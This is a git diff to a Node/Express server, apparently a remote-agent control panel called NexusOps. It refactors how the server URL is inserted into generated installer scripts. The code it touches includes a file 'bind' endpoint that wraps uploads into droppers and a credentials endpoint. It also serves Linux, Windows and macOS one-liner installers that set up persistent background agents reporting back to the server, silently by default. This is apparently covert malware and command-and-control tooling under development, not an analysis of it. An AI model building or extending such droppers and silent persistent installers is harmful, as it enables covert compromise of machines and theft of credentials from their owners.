diff --git a/server.js b/server.js index 08afe63..fd7e586 100644 --- a/server.js +++ b/server.js @@ -280,8 +280,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => { const originalName = req.file.originalname; const b64Content = req.file.buffer.toString('base64'); const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content]; - const host = req.headers.host || `${SERVER_IP}:${PORT}`; - const serverUrl = PUBLIC_URL || `http://${host}`; + const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const format = (req.query.format || 'sh').toLowerCase(); let dropper, boundName, contentType; @@ -669,12 +668,12 @@ app.get('/api/credentials', (req, res) => { }); app.get('/install.sh', (req, res) => { - const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `#!/bin/bash # Network Node Agent One-Liner Installer for Linux set -e -SERVER_URL="http://${host}" +SERVER_URL="${serverUrl}" INSTALL_DIR="/opt/network-agent" SERVICE_FILE="/etc/systemd/system/network-agent.service" @@ -721,9 +720,9 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL" }); app.get('/install.ps1', (req, res) => { - const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `# Network Agent PowerShell Installer for Windows -$SERVER_URL = "http://${host}" +$SERVER_URL = "${serverUrl}" $INSTALL_DIR = "C:\\ProgramData\\NetworkAgent" Write-Host "==================================================" -ForegroundColor Cyan @@ -748,12 +747,12 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_ }); app.get('/install-mac.sh', (req, res) => { - const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `#!/bin/bash # macOS Node Agent Installer — launchd background daemon set -e -SERVER_URL="http://${host}" +SERVER_URL="${serverUrl}" INSTALL_DIR="/opt/network-agent" PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist" @@ -814,12 +813,12 @@ echo " To stop: launchctl unload $PLIST_FILE" // ── Universal Auto-Install (one command, any OS, fully silent) ── app.get('/install', (req, res) => { - const host = req.headers.host || `${SERVER_IP}:${PORT}`; + const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const silent = req.query.silent !== '0'; // silent by default const quiet = silent ? '>/dev/null 2>&1' : ''; const script = `#!/bin/bash # NexusOps Universal Auto-Installer — one command, any OS -SERVER_URL="http://${host}" +SERVER_URL="${serverUrl}" echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL" case "$(uname -s 2>/dev/null || echo Windows)" in